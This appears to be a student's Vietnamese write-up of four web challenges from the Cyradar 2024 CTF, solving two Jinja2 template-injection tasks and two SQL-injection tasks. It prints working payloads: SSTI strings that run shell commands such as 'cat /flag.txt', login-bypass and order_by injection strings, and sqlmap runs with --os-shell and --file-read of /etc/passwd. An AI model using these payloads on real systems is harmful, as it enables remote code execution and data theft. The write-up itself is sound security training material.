Writeup Cyradar 2024 CTF TTS/CTV [WEB]

Bài 1: SSTI

Khi mở web lên có giao diện như sau:

=> Khả năng có 1 query string là name

Cho name có giá trị là {{7*7}} để test SSTI

=> Xuất hiện 49 => có khả năng bị SSTI

Test tiếp name = ${{<%[%'"}}%\. để biết xem phía server đang dùng template engine nào

=> Jinja2

Sử dụng payload: {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls /').read() }}

Phát hiện có flag.txt

Đọc flag.txt => {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}

Flag: Hello CyWeb{w3b_3asy_sst1}!

Bài 2: SQL Injection

Bài 2 có giao diện như sau:

Đọc source code => SQL Injection

Khi thử nhập username là admin' or 1 = 1 -- thì bị thật

Tiếp theo em sử dụng tool SQLMap để đẩy nhanh tiến độ dump db

Đầu tiên em sử dụng Burp Suite vào url bài web, đăng nhập thử, sau đó lấy request đưa vào file request.txt

Sau đó em sử dụng SQLMap như sau

Thấy được 3 database sau:

Thử dump database public (-dbs)

Khi dump table users thì không thấy flag (-D public -T users --dump)

Xem lại đề bài có vẻ gợi ý RCE

=> Thêm option --os-shell để RCE

Sau đó liệt kê thư mục gốc:

Đọc file flag.txt

Flag: CyWeb{ThiS_i5_m3d!um5q1!r(3}

Bài 3: SSTI

Server đang reflect lại địa chỉ IP của client.

Thử thêm X-Forwarded-For vào gói tin:

=> Thử địa chỉ localhost nhưng không thấy gì

Thử {{7*7}} ra 49

Tiếp tục 1 số bước như bài 1 => Jinja2

Và chèn payload sau: {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('ls /').read() }}

Đọc flag.txt: {{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('cat /flag.txt').read() }}

Flag: CyWeb{m3d!umsst!}

Bài 4: SQL Injection

Có vẻ giống bài 2 nhưng lần này với query string order_by

Sử dụng sqlmap check 1 số database

=> xem xét db chh

Note: 1 cách test bằng cơm nếu không dùng sqlmap: ?order_by=(SELECT (CASE WHEN ((SELECT substring(table_name,1,1) FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1)='a') THEN 'price' ELSE (SELECT 7066 UNION SELECT 7211) END))

Phát hiện table flag

Tuy nhiên thì đây là flag fake
Sau đó có thử option --os-shell tuy nhiên gặp lỗi (khả năng không upload được file) => Không thể RCE được
Sau khi tìm hiểu thì có phát hiện ra sqlmap có thể đọc được file với --file-read

sqlmap -r request.txt --file-read=/etc/passwd

Đầu tiên đọc file /etc/passwd xem có flag không

Em nghĩ lại thì flag các bài trước đều được đặt ở /flag.txt

=> Flag: CyWeb{w3b_h@rd_sql1_0rderby}